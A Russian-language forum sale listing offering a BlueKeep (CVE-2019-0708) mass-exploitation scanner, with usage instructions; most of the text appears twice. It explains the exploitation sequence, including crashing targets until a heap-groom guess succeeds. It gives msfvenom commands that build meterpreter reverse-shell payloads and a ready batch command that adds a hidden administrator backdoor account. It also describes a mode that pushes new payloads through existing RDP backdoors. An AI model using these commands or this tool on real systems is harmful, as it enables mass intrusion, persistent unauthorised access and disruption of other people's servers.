Продам утилиту для автоматизированного взлома серверов от PlayBit на основе уязвимости CVE-2019-0708
Моя цена софта 50$
Данный софт продается на GitHub ~1300$
Сканер сканирует адреса из листа и пытается соединиться в РДП порт 3389 Далле происходит следующий алгоритм действий:
1)Попытка отправить команду DisconnectProviderIndication Т.к. она разная для разных архитектур 32/64 для осей с 2003 по 2008/W7 где не пропатчена блюкип (CVE-2019-0708) можно выяснить архитектуру. Если не получается сервер уходит в бэд лист 2)Происходит соединение по протоколу RDP и по некоторым маркерам определяется система из списка: WindowsXP_2003, Windows2008, Windows7_2008R2, 2016Plus 3)Если удалось определить архитектуру и система Windows2008 или Windows7_2008R2 происходит отсылка пакетов с эксплуатацией дыры. Главная задача угадать базовый адрес системного пула адресов. Вариантов для разных билдов может быть несколько. Неудачная попытка приводит к БСОДу и ожиданию перегрузки таргета. Как таргет снова выходит на связь ему отпраляется следующий вариант пакетов с другим грумбэйзом (GroomBase). У 64-битных систем W7-W2008R2 четыре варианта грумбэйза. Tри для W7 и четвертый для 2008R2 Для серверов 2008 (не R2) а также для 2008R2SP0(самый первый выпуск) один вариант грумбэйза. Для 32 битных систем один вариант грубэйза для W7(2008SP2) и один для 2008SP1.
Таким образом подбор может состоять из 4ех, 2ух и одной попытки. Зависит от базовой версии системы.
Вероятность пробива очень зависит от нагруженности как таргета так и хоста с которого ведется скан. Чем сильнее они нагружены тем больше вероятность, что эксп не сработает. Поэтому не стоит выбирать большое количество потоков, для 4 ядер и 4ГБ памяти и 1Гбит канале не более 50ти (максимальное число потоков: 1000).
При удачном пробитии идет попытка загрузить пэйлоад соответствующей битности. Т.к. пэйлоад грузится из памяти это должна быть dll или чистый шелл код. Dll должна возвращать управление запускающему шеллкоду и не пытаться завершить работу с помощью вин апи ExitProcess(). Шеллкод запускается без параметров по нулевому смещению.
Пример генерации шеллкода реверсшелла msf: msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=41444 -f raw > shellcode_x64.raw msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=41444 -f raw > shellcode_x86.raw
Если используется ключ -cmd , тогда необходимо использовать пэйлоады cmd_payload_x86.exe и cmd_payload_x64.exe. Они специально предназначены для выполнения команды -cmd. Пэйлоады test_payload_x64.exe и test_payload_x86.exe предназначены для тестирования на своих виртуалках. Они запускают окошко cmd c системными правами на таргете.
Опции запуска bks.exe [options]:
-p32 <payload_x86.dll> -p64 <payload_x64.dll> -cmd -ipl <ipslist.txt> -upd <update_mode> -t <threads_count>
Параметр -cmd "cmd string" должен быть заключен в кавычки, внутренние кавычки должны быть дополнены обратным слэшем. Максимальный размер командной строки: 1000 символов.
Параметр -ipl содержит имя файла листа для скана . Внутри могут быть как одиночные IP так и диапазоны, например : 192.168.1.100 192.168.207.0-192.168.207.255 192.168.2.0:13389 192.168.0.0-192.168.255.255:3390
Если не указан порт, то будет использован RDP порт по умолчанию - 3389 Слишком большие листы (миллионы IP) могут вызвать зависания парсера т.к. он сортирует их и удаляет дубликаты после загрузки.
Параметр -upd (режим обновления пэйлоада) предназначен для работы по уже пробитым таргетам с установленным RDP бэкдором. На таргет будет отправлен новый пэйлоад и запущен там. Если система на таргете была перезагружена (бэкдор уже не работает) то заново его в этом режиме сканер пробивать не будет.
Параметр -t предназначен для указания количества потоков с которых будет вестись скан. Максимально возможное значение: 1000. ВНИМАНИЕ! Слишком высокие значения потоков (значения при которых пиковые нагрузки на CPU больше 85%) приведут к нулевым результатам скана или даже к зависанию сканера. Для 4 ядер, 4ГБ памяти и 1Гбит канале указывайте не более 50ти потоков.
Для старта сканера удобно создать батник, например такой:
bks -ipl iplist.txt -p32 cmd_payload_x86.exe -p64 cmd_payload_x64.exe -cmd "cmd.exe /c net user Support FUJyd64tf /add & net localgroup Administrators Support /add & net localgroup "Remote Desktop Users" Support /add & net accounts /maxpwage:unlimited & reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /f /d 0 /v Support" pause
Пробитые IP записываются в файл goods.txt, не пробитые в bads.txt Если не указывать пэйлоады сканер будет просто чекать IP на архитектуру и базовую версию оси. Лог в чекинг режиме ведется в scanned.txt
Сканер защищен от слива (копирования посторонним лицом с вашего сервера) с помощью файла cfg.txt. Если он присутствует при запуске сканера, то сканер будет работать как обычно. Если не присутствует, то сканер будет делать вид что работает но эксп запускаться не будет. Поэтому если запускаете сканер на долго на сервере, к которому может быть доступ посторонних, лучше cfg.txt после запуска удалять.
1)Попытка отправить команду DisconnectProviderIndication Т.к. она разная для разных архитектур 32/64 для осей с 2003 по 2008/W7 где не пропатчена блюкип (CVE-2019-0708) можно выяснить архитектуру. Если не получается сервер уходит в бэд лист 2)Происходит соединение по протоколу RDP и по некоторым маркерам определяется система из списка: WindowsXP_2003, Windows2008, Windows7_2008R2, 2016Plus 3)Если удалось определить архитектуру и система Windows2008 или Windows7_2008R2 происходит отсылка пакетов с эксплуатацией дыры. Главная задача угадать базовый адрес системного пула адресов. Вариантов для разных билдов может быть несколько. Неудачная попытка приводит к БСОДу и ожиданию перегрузки таргета. Как таргет снова выходит на связь ему отпраляется следующий вариант пакетов с другим грумбэйзом (GroomBase). У 64-битных систем W7-W2008R2 четыре варианта грумбэйза. Tри для W7 и четвертый для 2008R2 Для серверов 2008 (не R2) а также для 2008R2SP0(самый первый выпуск) один вариант грумбэйза. Для 32 битных систем один вариант грубэйза для W7(2008SP2) и один для 2008SP1.
Таким образом подбор может состоять из 4ех, 2ух и одной попытки. Зависит от базовой версии системы.
Вероятность пробива очень зависит от нагруженности как таргета так и хоста с которого ведется скан. Чем сильнее они нагружены тем больше вероятность, что эксп не сработает. Поэтому не стоит выбирать большое количество потоков, для 4 ядер и 4ГБ памяти и 1Гбит канале не более 50ти (максимальное число потоков: 1000).
При удачном пробитии идет попытка загрузить пэйлоад соответствующей битности. Т.к. пэйлоад грузится из памяти это должна быть dll или чистый шелл код. Dll должна возвращать управление запускающему шеллкоду и не пытаться завершить работу с помощью вин апи ExitProcess(). Шеллкод запускается без параметров по нулевому смещению.
Пример генерации шеллкода реверсшелла msf: msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=41444 -f raw > shellcode_x64.raw msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=41444 -f raw > shellcode_x86.raw
Если используется ключ -cmd , тогда необходимо использовать пэйлоады cmd_payload_x86.exe и cmd_payload_x64.exe. Они специально предназначены для выполнения команды -cmd. Пэйлоады test_payload_x64.exe и test_payload_x86.exe предназначены для тестирования на своих виртуалках. Они запускают окошко cmd c системными правами на таргете.
Опции запуска bks.exe [options]:
-p32 <payload_x86.dll> -p64 <payload_x64.dll> -cmd -ipl <ipslist.txt> -upd <update_mode> -t <threads_count>
Параметр -cmd "cmd string" должен быть заключен в кавычки, внутренние кавычки должны быть дополнены обратным слэшем. Максимальный размер командной строки: 1000 символов.
Параметр -ipl содержит имя файла листа для скана . Внутри могут быть как одиночные IP так и диапазоны, например : 192.168.1.100 192.168.207.0-192.168.207.255 192.168.2.0:13389 192.168.0.0-192.168.255.255:3390
Если не указан порт, то будет использован RDP порт по умолчанию - 3389 Слишком большие листы (миллионы IP) могут вызвать зависания парсера т.к. он сортирует их и удаляет дубликаты после загрузки.
Параметр -upd (режим обновления пэйлоада) предназначен для работы по уже пробитым таргетам с установленным RDP бэкдором. На таргет будет отправлен новый пэйлоад и запущен там. Если система на таргете была перезагружена (бэкдор уже не работает) то заново его в этом режиме сканер пробивать не будет.
Параметр -t предназначен для указания количества потоков с которых будет вестись скан. Максимально возможное значение: 1000. ВНИМАНИЕ! Слишком высокие значения потоков (значения при которых пиковые нагрузки на CPU больше 85%) приведут к нулевым результатам скана или даже к зависанию сканера. Для 4 ядер, 4ГБ памяти и 1Гбит канале указывайте не более 50ти потоков.
Для старта сканера удобно создать батник, например такой:
bks -ipl iplist.txt -p32 cmd_payload_x86.exe -p64 cmd_payload_x64.exe -cmd "cmd.exe /c net user Support FUJyd64tf /add & net localgroup Administrators Support /add & net localgroup "Remote Desktop Users" Support /add & net accounts /maxpwage:unlimited & reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /f /d 0 /v Support" pause
Пробитые IP записываются в файл goods.txt, не пробитые в bads.txt Если не указывать пэйлоады сканер будет просто чекать IP на архитектуру и базовую версию оси. Лог в чекинг режиме ведется в scanned.txt
Сканер защищен от слива (копирования посторонним лицом с вашего сервера) с помощью файла cfg.txt. Если он присутствует при запуске сканера, то сканер будет работать как обычно. Если не присутствует, то сканер будет делать вид что работает но эксп запускаться не будет. Поэтому если запускаете сканер на долго на сервере, к которому может быть доступ посторонних, лучше cfg.txt после запуска удалять.
Данный софт продается на GitHub ~1300$